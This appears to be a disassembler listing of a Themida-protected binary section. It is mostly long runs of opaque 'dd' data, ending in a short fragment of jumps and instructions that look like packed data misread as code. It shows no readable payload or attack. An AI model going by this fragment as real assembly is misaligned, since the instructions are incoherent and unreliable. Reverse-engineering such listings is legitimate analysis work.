dd 0FE05D0F0h, 1325CFCh, 0F2A3B7C7h, 2EC0092Ch, 2E3F0000h
dd 4123B0EFh, 80080096h, 0B09A411h, 1281862h, 0AD122CFCh
dd 0C5C61F4h, 0E60E78C7h, 0E713EC18h, 8426E9Fh, 564F489Ah
dd 0A7B40274h, 18E11236h, 0FA6B0199h, 5A5420h, 3CE08285h
dd 0EEFB6333h, 80624738h, 0F623C559h, 257C2614h, 24827254h
dd 8844DA3Bh, 0B7AD6012h, 3C519402h, 3E4213DEh, 8935278Ch
dd 7A9CC2B0h, 2E042468h, 655F3E98h, 873402B4h, 20F82C84h
dd 0F881B34Ah, 3FC1F3D2h, 2E6C30h, 166E19AAh, 2ADD5E6Ah
dd 72EC9800h, 0BB9E2442h, 0A5120087h, 3510949Bh, 0DF27F9D3h
dd 4F4646Ah, 7CE3207Bh, 2CCE336h, 0AC14DD33h, 771C40D0h
dd 822240A4h, 370FDE00h
dd 628F9B4Ch, 10301B69h, 17D4B048h, 423A5CA1h, 3C46D374h
dd 45FB3440h, 79885754h, 0F739E401h, 63E1EC48h, 12A12AC8h
dd 0ACC17309h, 5FD11D00h, 18FC6E00h, 0B0E90590h, 0E60F0064h
dd 53A58514h, 0D3778D8Bh, 0EC1A1200h, 4C21B57Ah, 8F713C58h
dd 1608D228h, 14390982h, 0C4A4B8ECh, 0D38C88C9h, 0A8663135h
dd 0AF543803h, 5628094Eh, 0A04435C9h, 1360A89Ch, 7A60D3A5h
dd 7341E09h, 0DCA4071Bh, 0DA3CC0D6h, 5003744h, 0E884E165h
dd 0B9924630h, 0DEA1EECh, 11D286h, 39F69888h, 0B820300h
dd 2CDE75ECh, 0F8DA64D0h, 7220AD4Bh, 0BCD2414Fh, 9F0452A3h
dd 6D868D0h, 9B30D50h, 0F7C97B67h, 25886879h, 2D191CB9h
dd 20D39838h, 72E86E60h, 9E3D1FFh, 2454136Fh, 0BB2810D8h
dd 0DF0994AEh, 0A45B5530h, 38D08A74h, 9D469D54h, 6CC1D413h
dd 0F93887A2h, 0E8E0A798h, 262E3E11h, 12B806C6h, 0AABC0756h
dd 0EC1701BCh, 69CC4879h, 3A0BB4A1h, 97516808h, 786C10E2h
dd 29F8530Ch, 330DBC18h, 298ED37Fh, 0AC2350DDh, 40B52Dh
dd 0D8B4458Dh, 0FD093826h, 0D114276Ch, 4FE2F83h, 30079910h
dd 0A238B859h, 0C7284087h, 2F40C0D3h, 0C9D4D578h, 3C445F5Fh
dd 0E4FD172Ah, 0DF820375h, 3AF1A3B2h, 0FFE875C8h, 0E09C8000h
dd 0A191141h, 1D41909h, 899960E9h, 0C08CD3D8h, 72E7E13Ch
dd 624B0026h, 0BFB44076h, 8A00D425h, 2B646ADBh, 3F487A0Ch
dd 799FF014h, 3CDF52h, 9253E44Dh, 13EAA693h, 73052B00h
dd 0BCF1D827h, 3244006Ch, 4A26883Ah, 0CD0161CFh, 0D8C0105Fh
dd 2BE0200Eh, 427852h, 0E825E2E6h, 8B3BD20Ah, 0A5EEDB18h
dd 0BB0D130h, 250FC2BDh, 3B00258Fh, 1FDE7BFBh, 38989200h
dd 0EC5913BCh, 0E0E10F52h, 0D0073A2Bh, 0D73C084h, 0D800315Ah
dd 0DAD136F2h, 304157A7h, 0DF68CD5Dh, 2419D687h, 8310274Ah
dd 183E95F8h, 0E0366479h, 200E38Eh, 524787E1h, 183F5360h
dd 30F17A2Bh, 0FC3CBE64h, 591A10C2h, 202E4800h, 2536E2D7h
dd 0B0DB7C30h, 5B03486h, 18ABBA1Dh, 2B1EC0BDh, 0C33C8820h
dd 81C2889h, 32D72C00h, 0E637DDE2h, 0FF04260Ah, 0D2CE00E4h
dd 0BC4777Ch, 0C1617933h, 6DFFE8B9h, 0DA20C1E7h, 0A0D96C7Ah
dd 68C0C098h, 355B709Fh, 0B5E233DBh, 0E3D80238h, 0A70E8739h
dd 80CA23B6h, 0B3F21FE8h, 0E9EA0308h, 0E69E7A54h, 0D07B4830h
dd 0C1D6DAE1h, 1CFFCD10h, 0A1808655h, 30E8C2D8h, 8590ECDEh
dd 0D10F89D5h, 4179BA26h, 8C9B4384h, 951044C4h, 888099D0h
dd 360A1264h, 2C82E2D6h, 0C883F28Ch, 0FEF57DBCh, 74E70633h
dd 1085E4DDh, 0CA49DF8h, 0E1458603h, 3E88AFFh, 0DB808438h
dd 0E80F8702h, 6C27E52h, 96039A2h, 13C00825h, 0FAAF1C00h
dd 6200D836h, 0BDF0D1B4h, 9180572Ch, 0B641010Ch, 825603FFh
dd 0A27AD010h, 92F0806Dh, 7C78E463h, 0E17E1E2Bh, 8D41981h
dd 4320F039h, 7040FE36h, 3E557D90h, 0DB9C0EA7h, 0B18D2FDh
dd 6A002778h, 79FB7CACh, 0DF1FC614h, 5F3160B0h, 60E2F95Dh
dd 3E467003h, 27722520h, 31F40902h, 40704BFFh, 307AD68Ch
dd 0BE28B866h, 2000BDF5h, 11738418h, 0A085CDDBh, 3770584h
dd 0ED86FB67h, 2488D922h, 0E8C04476h, 258B1B8Ch, 10346171h
dd 0F0FD1387h, 737CE2ADh, 181EF730h, 30FFA5D9h, 0ED9593Ah
dd 2900972Ch, 5EB4E60h, 377CC0h, 0A8526EBDh, 0FD1B9810h
dd 0E2B5870Ah, 3D00AC55h, 0E5ECD6AAh, 4C20E43Fh, 0EC501236h
dd 5D87150Dh, 8F80C0E1h, 61C41E89h, 541327ECh, 7610DB88h
dd 250506ACh, 24280CA4h, 92C4C15Dh, 592420C2h, 0DB14C040h
dd 806AF3h, 0C227CE0Fh, 32543BE0h, 0C440891Eh, 0D183DF00h
dd 907BCEh, 23C63DC3h, 488565Fh, 88574Ch, 0E2DCF501h, 0FADCBD4h
dd 56E928C0h, 0F0468407h, 4CD76F0Fh, 0F1DB871Eh, 0A40A7030h
dd 0D961C07Dh, 28CF361Ah, 13CBE0Eh, 25FD874Dh, 8E20A029h
dd 0D2C90h, 4A573FF0h, 0D3CFC75Eh, 5BD8E203h, 332BC1Bh
dd 0EAF68718h, 0D4E0E116h, 0E94C6514h, 43831E14h, 824038A4h
dd 500EE2A5h, 24FFE085h, 8C8614h, 360AD8D5h, 0AE7CDACCh
dd 18DE3833h, 4E291882h, 1FBC4050h, 0A56DEE04h, 8B82C3BDh
dd 43088777h, 2EAE9700h, 0B218C069h, 7C5B381Ah, 4D86D815h
dd 3E0ED6E0h, 3CF10561h, 0F5671C80h, 791B0865h, 0E600787Dh
dd 775EDBEAh, 0BD273F1Fh, 5F258A04h, 0E210C0D2h, 0FF042FD9h
dd 5AD7D57Fh, 0F31A0081h, 3125B050h, 32948003h, 11F85D54h
dd 927CBB40h, 28553F28h, 6F84624h, 78012FFCh, 12FAA614h
dd 543F0198h, 0EB35DB8Ch, 0BBC1424h, 2C3A856Bh, 0DACF1820h
dd 7F4357A1h, 3D208120h, 28D9619Ah, 805BEE25h, 93378910h
dd 7C434213h, 0EDBE2A11h, 3BD95888h, 5FFAF30Ch, 0F7410DD1h
dd 0E0503FD5h, 92C223D1h, 0E2CE0968h, 0B083DCDAh, 7AB8BD87h
dd 0C09242A7h, 74FFE0C2h, 0C904617Bh, 3F54F0FFh, 97F8002Ch
dd 9B4E5C21h, 5F0A8B4Ah, 0A774E4D8h, 0FCC93A0Ah, 268F8038h
dd 0E5B8B9C8h, 6F7B0310h, 62548643h, 0DCA9FFC8h, 8160CE4Ch
dd 83E2D506h, 0E840B022h, 15C47432h, 0AC12791Eh, 3954E01h
dd 0CCCF1ABCh, 2270E320h, 0FF33F70Fh, 8650D95Ch, 89D00200h
dd 6D913500h, 4D1DED5Eh, 9C414C7Ch, 0CCA844h, 466269F9h
dd 4CE93543h, 1ABE6C00h, 212D08F1h, 84D90002h, 2C0B1D0Ah
dd 0F909CF07h, 8286197Ah, 4C6201B4h, 95FF1804h, 0DAA180FBh
dd 7336EA00h, 3C751A0Ch, 0C8DB176Ch, 7D4C4190h, 0A40FBCDAh
dd 79083439h, 88610077h, 0EEE34357h, 1410023Eh, 0F88ECA4h
dd 20E0D296h, 897ED74Fh, 25950C1Bh, 0DB38EBAAh, 92D870C0h
dd 0C21A338Bh, 6C9CFF56h, 0CBB6E068h, 0F6F10117h, 0B01D780Ah
dd 5540B821h, 0B93E5D7Dh, 64583B84h, 2314332Ch, 0B149214h
dd 7005B178h, 0EB806EFh, 0BDE8D08Bh, 0C21D20h, 4D98C664h
dd 0B8DC267Fh, 0C01880A8h, 28A460B3h, 0D1619119h, 0DC304C31h
dd 92EB1708h, 30731604h, 0BDE85F0Ch, 7D28F09h, 415C8045h
dd 6495C55h, 73D9B235h, 14935087h, 22DB909h, 43D71A0h
dd 85808C2Ah, 100444B2h, 37F57ACDh, 2C23480h, 516309AAh
dd 9C89A409h, 0BE79B418h, 0FEBC3316h, 14C8C08h, 182534C1h
dd 0DB2C6423h, 0F0842130h, 0B1A657h, 5BB727F7h, 62EC804Eh
dd 849499C9h, 5D0AB028h, 0FF3E028Ch, 2440A740h, 0C10A4BE7h
dd 5875BDB1h, 0E40C4616h, 1C564632h, 9C7CA411h, 852E3AF9h
dd 0FDF38854h, 0BF469C2Ch, 5018F840h, 0A2EDB079h, 2A54C9D8h
dd 3AAC38A4h, 0DBC5CC02h, 0B48F6097h, 9C7425E3h, 0F4D77828h
dd 30A6CDF1h, 4A35F99Ch, 40091C2h, 25072B8Eh, 44184D89h
dd 0A580883Fh, 52E9E336h, 0F45CD593h, 200737CCh, 803FB457h
dd 0D9FDE398h, 7CB900E2h, 9F5B8DDh, 6C001F7Bh, 0CC629C16h
dd 0C9F6C4FFh, 2C00BED0h, 437B850Ch, 142022FFh, 809073BCh
dd 88202648h, 1FCE037Bh, 40365263h, 0D72880A4h, 0D62482E0h
dd 2639548Ah, 3808E820h, 2A7AC28Bh, 218468C9h, 0F2DAE00Ch
dd 900B11D2h, 16200509h, 647564D5h, 40074482h, 9C0418h
dd 0E743890Dh, 634C5BDCh, 0BB00FD7Fh, 29A1D145h, 3DF87D57h
dd 0DA01D89Ch, 733D0FBFh, 0CCC47179h, 2C900CF9h, 2581CE04h
dd 0E103E64Fh, 56E1A6D7h, 5F8C7040h, 609D5580h, 2F79409Eh
dd 7A3F2CD7h, 78AC073h, 0C25B1FD1h, 0C4039057h, 2200ABFDh
dd 0E2C8D8A7h
dd 185155D7h, 0F8274089h, 79010B38h, 0FA1C2802h, 0A0475ABAh
dd 37689593h, 82F04450h, 0B880E7CBh, 0AF202E13h, 0D813FCB0h
dd 3C0A8D5Ah, 7A80CC5Bh, 0F86ADB46h, 0CC8F00C3h, 12C6D929h
dd 1D00FFBFh, 0DB39BCF0h, 0CA654E3h, 0F27D2573h, 0B4B9DDE9h
dd 2ABDF882h, 34D8825Fh, 24B890B0h, 48A84817h, 0DABDA00h
dd 390602BDh, 43A40400h, 0E283EB97h, 55251822h, 79FE5849h
dd 12D4D658h, 7C8832D3h, 0C3D896D9h, 94F2DB92h, 0A4136C50h
dd 652CF5h, 0C1BCCD81h, 32D6A440h, 1ACB806h, 0FF8F6A31h
dd 0D0D9DA92h, 1C90A6D8h, 11804C4Ch, 7958AEA1h, 0C30ADB12h
dd 0D8D47320h, 0D50C9A48h, 0A13A7F7Ah, 6A251A90h, 0B429207Bh
dd 4F7CD4A2h, 254EE440h, 84800298h, 0FF1A8461h, 0AF78BD8Ch
dd 0DA910474h, 282708D9h, 404A8844h, 415D3171h, 3D1C1474h
dd 7B7C59B4h, 0D096967Ch, 0AF079C3h, 22B8A358h, 0CFA0B090h
dd 4F4D8F7Ah, 5F80EA4h, 1B07F7E4h, 55E33792h, 0D8C3D081h
dd 3AF006Ch, 4C826EBDh, 7B03D4F4h, 0D27AD9FFh, 26680EE1h
dd 22963F9Dh, 0B4C2321Ch, 54BC50C9h, 435C0C64h, 0E4AB60D0h
dd 8817A230h, 4F88Eh, 861A4E1h, 67FFFDB6h, 59189F5Dh, 52184CE4h
dd 0E9C51070h, 3EF78E03h, 7B88DB24h, 800C17Ah, 0A04EED6Eh
dd 9BC63E7h, 0CE9D37FFh, 0CA7A0090h, 5361FD01h, 0D1DFE0D9h
dd 0E918C032h, 1C3C28D6h, 0C5AD3117h, 7D3F3902h, 27D04078h
dd 5D401EFCh, 0B1DEA8h, 9047D17Fh, 0B601BA56h, 11DC010Dh
dd 28055Fh, 7D5AA900h, 830E3340h, 0E782209Eh, 4039D110h
dd 166B9B68h, 12BA769Eh, 0CA24098Ch, 0C06C1405h, 0C0DCD580h
dd 1018274Ch, 0E60E4491h, 0B820DAE8h, 306B3D10h, 5F520898h
dd 4DC010A8h, 192A3E58h, 4518A8CCh, 176890EEh, 30FE057Ah
dd 294FFECh, 6F243CB0h, 0D70068D9h, 7ED4AC6Bh, 0DAFD28F9h
dd 7AA617B4h, 5F30211Bh, 0C6C83C3Eh, 488032BAh, 401860DFh
dd 8DCC08D7h, 9F6C28EFh, 623DFC29h, 5A5ED820h, 212512DCh
dd 0FC052A8h, 41F28D28h, 8433D764h, 791C2011h, 0E053B034h
dd 0B537AC80h, 50354896h, 4A02613Ah, 0BE40DBA3h, 80850C68h
dd 48954326h, 24E4944Fh, 0DB055459h, 90532BEFh, 0F77BB400h
dd 5724D3h, 83F83610h, 8F8D3EF9h, 9528E877h, 0CD00D812h
dd 0B2EAB4AEh, 9BD73DDh, 1E373814h, 71E16C00h, 0E00CF0B6h
dd 0D82F9524h, 0A01C9926h, 2C84FCDCh, 2E8EED8h, 11C01027h
dd 0DB8818E0h, 0B8C1DFE8h, 0BEB9FCA8h, 28A87861h, 0A65F3D7Ch
dd 9084B12Ch, 102C483Bh, 97EAE28h, 33275281h, 0F67A28E1h
dd 0FF3D50C8h, 0D0B30D2Ch, 732F0F6Fh, 0FEF30C44h, 7AC00053h
dd 0BD2C61F0h, 0B832D596h, 102C51C7h, 0C2817824h, 25068807h
dd 3C49F193h, 0D43010B7h, 0EC8C9259h, 0E4C3CB00h, 908B4EE9h
dd 24B43007h, 0A8E25A10h, 96FEA31Dh, 0E078FF49h, 497AD3B4h
dd 352E3C0Dh, 13C00BDBh, 0A0AF1884h, 44B4E2A4h, 390A5CC4h
dd 296F428Ch, 53E054C8h, 18BDC900h, 5F514257h, 962F478h
dd 759AFFCFh, 0D1D87C06h, 0F47A980Ch, 5A7B58F2h, 0A0786526h
dd 1A058C58h, 0FFF105BAh, 50920FC4h, 252CE1A5h, 446321D9h
dd 0FA2A3078h, 86C78C10h, 5C09B478h, 4CAD870Fh, 308E4B80h
dd 0C06767Ch, 7AC8C50Bh, 27EC2126h, 52CD2505h, 0DB8A3083h
dd 0A5E42BCAh, 2100344Ch, 0ECE0A600h, 0EDFA1319h, 0A408C41Eh
dd 2490A358h, 5D0B2C33h, 0E67402E8h, 54E901FEh, 0DC78E38Eh
dd 483C2CB1h, 0D710605Dh, 50317A49h, 584E88C1h, 6DC4F499h
dd 9FB0BC9h, 0E164EBE0h, 0B19A03DEh, 88D0187Dh, 0B89EE8B8h
dd 8172DB0Dh, 267A2DF8h, 8B600A22h, 14C4C3A8h, 5B1BDB18h
dd 0EA229770h, 116730A6h, 7C850910h, 23B5DB51h, 5D331820h
dd 0A0964308h, 0D2E0D454h, 88688498h, 25107160h, 0DB280113h
dd 0E1D80090h, 1F3C3781h, 6F010534h, 565A3354h, 4FD0B46Bh
dd 0FD4E0087h, 0EC816379h, 0D100E157h, 29078468h, 10962652h
dd 93CD4DBh, 0C6906A7Ah, 88760A4h, 437E850Bh, 94229B4Ah
dd 34E01A1Eh, 4892E58Dh, 0DD25FB38h, 0EA6B16C0h, 0E9CB1043h
dd 57083F53h, 1DC70480h, 0FBA6112h, 1428BD54h, 0E096B181h
dd 458417EFh, 0D35A4FB0h, 10C408E4h, 0F87B17B8h, 404476h
dd 179F425h, 0F7E34397h, 1FEEAC13h, 1330C000h, 0FC078EC5h
dd 4E5D0021h, 83B998E3h, 7A1C3D20h, 0FED2FF2Fh, 9057D488h
dd 0D0308130h, 0AC8CB820h, 19E80D8h, 0FF89A77h, 0D9AAD3E1h
dd 0DD18BEDCh, 9332182Ch, 76C018A3h, 0A848D6DBh, 0CE33C960h
dd 555741A4h, 2500B0BCh, 181DE026h, 0EA3CDB80h, 2EFFE768h
dd 4CCCD8CBh, 0DA0AD328h, 202857A5h, 25869C24h, 44107D65h
dd 0E2408F63h, 7BA43CE4h, 9CE9D535h, 0B8B49AD0h, 0B37AFD06h
dd 57360019h, 4A269229h, 960791FFh, 50990B2Bh, 908C5877h
dd 7278BCh, 0C394C81Eh, 0C7AD5A0h, 0FD4D94A8h, 92915503h
dd 0ED3024DBh, 0FFBDB041h, 408DB931h, 20D063D7h, 0F3406C78h
dd 0A2740128h, 0CB0281E2h, 2592F854h, 8E8CB054h, 0BDFC7B0Ah
dd 4E42D81Bh, 1038D9E4h, 0C92509ADh, 900482D9h, 8944F07Bh
dd 2408FD18h, 100DD72Ch, 259E9481h, 1080F6FAh, 1FDE7990h
dd 0D8A782E1h, 0ED8F983Fh, 0D6D72618h, 129C0621h, 910420E4h
dd 0D9CEA931h, 4FFAF0C1h, 12323880h, 0EF85F743h, 336DDF00h
dd 7B093B0Ah, 4E2F012Bh, 42DB9CACh, 0D1C20DAh, 481C1D3Ah
dd 78790B48h, 84E020DFh, 38D342D5h, 0A4D13FFFh, 0B26D827Bh
dd 24B5868h, 26202DE9h, 0FF410090h, 0A205C384h, 7B798290h
dd 78A890C7h, 64F78B0h, 0B7DB7084h, 0A8B4909Fh, 8148B2C9h
dd 0A785DBD1h, 25062882h, 902F506Dh, 10D2EC94h, 21D29CF8h
dd 9E259DC0h, 38A40E10h, 0A9C7B800h, 3C770521h, 0F980F2E8h
dd 0BCD8D922h, 0C2146A80h, 0E841FEh, 232A4ABBh, 18D478BDh
dd 185AFA6Ch, 2E244F7Fh, 2200002Dh, 0E31D24EEh, 0BED7008Ah
dd 0F79AD0AAh, 4C32FF0Eh, 60858873h, 0D20208h, 2E3A6F23h
dd 1AE443FBh, 13F15700h, 0FF307185h, 0B05ED5h, 0B3A3E164h
dd 2609223Ah, 4961A5C0h, 0E0809E74h, 25023621h, 0EC9AFC38h
dd 0CC40FA4Bh, 5FF943C1h, 423C4B0Dh, 8EF879B0h, 8078C80h
dd 0E89C9525h, 0CE556300h, 0C1EB8998h, 0C4DBC828h, 21BC6526h
dd 27582694h, 475C9082h, 20B0909Ah, 91008DDCh, 4E08328Fh
dd 0FE17695h, 732565B9h, 1F6C5930h, 786E45EDh, 4024799Eh
dd 0A87C650Ch, 0E796038Ah, 59FF1539h, 788400B5h, 0AE18359Ch
dd 18A7123Eh, 1C885467h, 0DEE0083h, 0C69329CCh, 0E63E6201h
dd 0DB8C0519h, 38E6C130h, 34B42408h, 0AA3E8304h, 0B21BA8CCh
dd 609FE6E8h, 89D78869h, 0C80A747Ch, 0E004C3FFh, 3701F42Bh
dd 0E3F8DA94h, 0DBF081F6h, 542BDEC7h, 85C06438h, 60653E19h
dd 0E242D70Ah, 0A0008DDh, 9C41CBFh, 17ED7D3Bh, 89D4DAD6h
dd 0CC02680h, 98399279h, 5427069Ah, 1174217Ah, 0B0750700h
dd 92E2AAEEh, 1FC626D5h, 5ABBD0h, 5B27CD34h, 5C1EE6DCh
dd 914287CEh, 48D1C0DBh, 0E23E41BCh, 62C600F9h, 63D73DCh
dd 13485CDBh, 0C829CAA0h, 0A30BA610h, 0C2C2BBFh, 320074B0h
dd 0B50B442Fh, 92266E7h, 0D4981E56h, 0F82B48Fh, 286104A9h
dd 7FBC00D1h, 563C058Ch, 4138DB82h, 85E0ADD4h, 9040DAF0h
dd 6B097A9Eh, 45E5E3AFh, 0E1791724h, 0E0184043h, 3317110Ah
dd 741AA7D7h
dd 9A4C1B1h, 897DC307h, 93E19CC1h, 0D037AF68h, 0DB437F14h
dd 2011BD88h, 84093EAAh, 0C800361Eh, 0CAD1CEECh, 20487975h
dd 0B311D98h, 6F3E05C0h, 7ED6D9EBh, 0E1F40073h, 0A9323D5h
dd 9C983AD1h, 0F1D45F0Fh, 0AD782052h, 0FA0EF91h, 2472DBB9h
dd 252814ACh, 5A71A800h, 0D9E81AAEh, 70D50641h, 20077E24h
dd 8EDA843Dh, 0A1CC60E0h, 226C8C85h, 737F6C0h, 0E1B4092Fh
dd 0E560932Dh, 0A3BF07AFh, 58E03BF8h, 5200F50Bh, 0C3CF5C19h
dd 500CFE1Eh, 7E3ECA0h, 0BC0E2B0Ah, 6368DC1Ah, 1F254700h
dd 0A135E1D6h, 7BA2076Bh, 4131E3A3h, 0E0E04C84h, 0DA00C4CBh
dd 0CC6354E6h, 0FBF0787h, 923FE69h, 1FE8D001h, 6173F0FBh
dd 86038D7Ah, 0A6FEE044h, 0CF780685h, 70FD9D79h, 83013200h
dd 0D3964510h, 0FEB80CD8h, 0A0288B69h, 73DA900Ch, 3A566837h
dd 0A8605C27h, 7535F1D8h, 0B4C0AF01h, 0FB661A9h, 131870h
dd 78BA1D19h, 81E01ED5h, 0CC6880E9h, 0C479CD07h, 33E0A03Dh
dd 0C7D2E0FEh, 0ACFDA268h, 35581959h, 21B6008Ah, 0AC309C0Fh
dd 5C5F00E9h, 2806EC0Eh, 19032556h, 9316A781h, 1D84A87Ah
dd 240F1C35h, 0FD48F077h, 1E0FDD78h, 83F87A8Ah, 0E1D0A4D9h
dd 0A1E59190h, 5E54060h, 33DA773Bh, 7BEC03C9h, 22C10D1Ch
dd 6108088h, 0B1381274h, 4F7918ADh, 944CB85Ch, 0D8E0681Fh
dd 0FE2DCCC0h, 19DD2851h, 3886E1DAh, 308BDD92h, 57EEB91h
dd 5A209613h, 0BF1E0EE8h, 88D03BDAh, 7B843C08h, 10126518h
dd 0BC78F726h, 5810FAD8h, 84E10052h, 9FF57AACh, 7918395Eh
dd 2880796h, 372D0156h, 2012D65Ah, 0FF23C4DBh, 628040E1h
dd 970A35F9h, 0C089AF79h, 7F542B00h, 6BC6A55Ch, 3A056039h
dd 83C009F5h, 45FE2C07h, 0BBF00048h, 6D14ED6Ah, 8BD49114h
dd 53D000ECh, 0FDA9692h, 5EE8C084h, 9912864Ch, 0E1AC3A00h
dd 0C11CBE0Eh, 9C232979h, 768F092Ch, 0EB3A4C01h, 99D7E309h
dd 0C1D73020h, 7474BC35h, 45508092h, 0E0A98FDCh, 212021DEh
dd 4D1000A0h, 917D2896h, 79BC300Eh, 67B10EF1h, 21858EC2h
dd 0FE420805h, 44801415h, 0CEF83180h, 0D280EB60h, 0A01762F8h
dd 5099A5A8h, 505C8C11h, 4016D41Fh, 44019053h, 7BCECAF3h
dd 24C0C773h, 904E67E5h, 400926FBh, 1ECD4500h, 86351162h
dd 2438A05Ch, 98FD509Ch, 9A1729FEh, 8C069F8Ch, 0B048E3BDh
dd 0EC72A500h, 0EBD0271Fh, 0DCC35479h, 57FE182Ah, 8DD338BEh
dd 18E7DA24h, 4CBA7985h, 7083D80Ch, 5D5B155Eh, 0A53894C0h
dd 90D4C8AAh, 0F67A2810h, 1BA48490h, 483FAC33h, 0DB3E23C1h
dd 0C8D21828h, 0E379D708h, 0DA0500FFh, 66F3B250h, 966EE800h
dd 8141555Ch, 6DBC0009h, 0AB7B67A4h, 0C8038AD4h, 8DF1D6E1h
dd 2350A780h, 903485h, 159F5BA6h, 63EF73BCh, 320095E8h
dd 0F2F162AEh, 0C413E48Bh, 1B76DE8h, 984283CEh, 73BD5040h
dd 0A5FE13C1h, 139C52A2h, 0E6000104h, 0D4A3372Bh, 0B0CEFECFh
dd 858842Ch, 0FAD73880h, 3E44987Ah, 50194D33h, 203940E3h
dd 0C8905C58h, 34FD4228h, 3A4833Eh, 0DA91225Eh, 79190A78h
dd 8C1040BBh, 5608860Fh, 80887F4Ch, 79691D25h, 8B1A00A6h
dd 0CD5759D5h, 6651923h, 1B828A20h, 1CC888CCh, 0D2D40E4Fh
dd 9540FC00h, 54DA783Fh, 35FED0E0h, 0F1DCD9h, 0BF3F5618h
dd 4014C2CBh, 802A4Fh, 5F7E1E3Ah, 7B2DBE1h, 3E350EFCh
dd 83852Dh, 131C7308h, 7A04DE2Bh, 39B74053h, 5C50E8CBh
dd 3D7A1484h, 3B8988A9h, 9C80AC89h, 0F041EF0Dh, 0B3A6E100h
dd 563783DBh, 1A050C20h, 0BE18E551h, 1669B105h, 20903CFEh
dd 72B0D3Bh, 0FBACB622h, 0C673C01Ch, 567EEF6Ch, 0B000BCECh
dd 4F5FCD1Fh, 0CC0C34h, 383CD629h, 3DFE82FDh, 0BBC2058h
dd 186BC023h, 0A0D8410h, 0B486FC7Ah, 89C0EAC4h, 1C81DFD5h
dd 1F91D23h, 44629593h, 2240D613h, 43111C3Ch, 0C7D80420h
dd 61947318h, 209B1765h, 4F00C560h, 22D13EF9h, 0AF36B8h
dd 0F1FB4D4Ah, 7BCD565Ch, 0E8C07A00h, 0D9A72151h, 691A03BBh
dd 0FA11967Eh, 384086E2h, 8A50F0FEh, 0B000778Ch, 95D4372Fh
dd 2E6EA42h, 240EE382h, 5CE91279h, 0A2584783h, 40464227h
dd 4903Eh, 1BBC775Ah, 812866h, 67E842FDh, 3C98DDABh, 72C6902h
dd 1174024h, 0E0562A87h, 2D0F1B92h, 0E9ABF8B9h, 0E6B8943Bh
dd 1852609Ah, 77BB94E4h, 70C0A400h, 8225CC20h, 0C78B1E8Eh
dd 0D614C009h, 0FC1BCCEh, 0C48C789Ah, 0C7247813h, 0D480E840h
dd 0D88E8Dh, 1A38AFC3h, 239C79C0h, 542968C2h, 0C4946042h
dd 215E81B5h, 1F65D088h, 402F5F12h, 96297C00h, 6C56024h
dd 97DF0A91h, 4D494051h, 2B490E0h, 427F8404h, 0C80C8D94h
dd 6247F408h, 89EE8CDh, 75793400h, 0A432F7FAh, 0B8C3A109h
dd 0FDD04002h, 516398E8h, 0D63F3509h, 0A51C3819h, 0B8A16037h
dd 20D8A30Eh, 2BA90B9h, 0D4D5E1ECh, 0D9AC68D3h, 0DFDFF9E9h
dd 0F14DF05Ah, 0C74DF841h, 301ABD01h, 34C6478h, 0F1752464h
dd 0B03BDE00h, 13E75CDBh, 319542BCh, 350D8E0h, 0EE7826B0h
dd 0A0642618h, 9B8BE8DCh, 0A8230674h, 0D6613038h, 0ADD22498h
dd 5C8ED060h, 1E28E431h, 83C4D70h, 3DDA2181h, 8DF1BCDFh
dd 28F5EE79h, 885D460h, 0E4779B5Ah, 794E5E01h, 0B4424705h
dd 98104E2Bh, 7B18C4CFh, 1614A6CDh, 6E0A29D6h, 9780F07Ch
dd 1AF89C9h, 7A0F2424h, 4EA08090h, 56E77E3Fh, 0EC822E04h
dd 0D6C3FF73h, 0F138587Dh, 0C0330C65h, 0AB3244D0h, 0DC60E405h
dd 0F8400AFEh, 2DAC4CAh, 0E878C94Fh, 0EA2AC003h, 987A8833h
dd 0DB6DD026h, 0FC420081h, 0DFB1A393h, 2B4D9223h, 0BCDA0A2Ch
dd 4C2C88AAh, 8AD75F07h, 9C61D90h, 1AD10F4Ah, 0DD7DD8F9h
dd 0A7D9C235h, 84994156h, 63BC42C7h, 0D460C662h, 489476DAh
dd 0E9C32900h, 0E2FFE57Ch, 38527766h, 1B7048FAh, 0A04EC81h
dd 7A2EB287h, 8302BF02h, 1F3B30Ah, 0DFC38138h, 0D862C401h
dd 31EDAEBh, 687B6875h, 0E906081Ch, 3B3C0B20h, 0D298CAFEh
dd 515C0E09h, 5940B930h, 0A56F901h, 0C681E689h, 0EE830E41h
dd 243487C1h, 0D02CFD5Ch, 0BD015550h, 20BE442Dh, 4F86C31h
dd 5081E25Dh, 70500CF5h, 0C82EA0B8h, 0FF283089h, 4EE95848h
dd 5BC4DB60h, 0E667F580h, 30D37CEDh, 8B321B90h, 45F0240Ch
dd 58109763h, 0D31CD366h, 0C6B6DB57h, 26896016h, 0BB22CAB9h
dd 7810F3Fh, 15AD4257h, 1F91C160h, 1050FF2h, 9CC659CFh
dd 893476EAh, 735F20E1h, 375C4A0h, 10BD0A57h, 86EA010Fh
dd 763ED56Eh, 0E2DB305Fh, 2BB4B90Ch, 2946230Ch, 401364C8h
dd 810F66D7h, 462FF4E6h, 1453338Bh, 0F8706D6Fh, 460DAE11h
dd 728476B7h, 3368E68Bh, 3CED6003h, 7E1854DBh, 88141527h
dd 6A79EEDEh, 3F1D3F2Eh, 0B721E698h, 87655AD7h, 0BE265C38h
dd 0A6895027h, 0AB8872E9h, 571E0089h, 30F82BFh, 0F75C8145h
dd 6B6F1D11h, 0EF0DBB6Ch, 0E7F8A901h, 9E44007Fh, 0E9D78773h
dd 48CDF4BCh, 1406D046h, 8000F3AAh, 0CFE1D5C2h, 66A9EAABh
dd 9467FC50h, 0FCC551C0h, 15FB87D0h, 8B5DEE01h, 319C338Ch
dd 5C0D06D8h, 0C7681557h, 14608D18h, 1B6367BEh
db 48h
; ---------------------------------------------------------------------------
loc_4E6109: ; CODE XREF: Themida_:004E6180j
jle short near ptr loc_4E6175+1
or [ecx+802E89Ch], ebx
test eax, 0C49749FCh
inc eax
sub [esi+53h], esp
push ecx
cmp dh, [ecx+3BB70357h]
xor bh, 2Bh
enter 55B5h, 8
cmp al, 0EFh
pop ecx
xchg eax, edx
mov esi, 0BEB6CD00h
jmp near ptr 3B1C9199h
; ---------------------------------------------------------------------------
db 5Eh
dd 0B778DACFh, 2B0305EEh, 7701C3FEh, 4C5AFA20h, 0BD98A8E0h
dd 0C10724Ch, 7DD7E97Fh, 9BA1311Ah, 0D5A2F6C4h, 0DD845BD9h
dd 40FE1112h, 4040D791h, 37C10FBAh, 11574FB3h, 0D261F80Ch
; ---------------------------------------------------------------------------
push ebp
loc_4E6175: ; CODE XREF: Themida_:loc_4E6109j
mov ebp, esp
inc esp
mov eax, ds:0ED933B1Dh
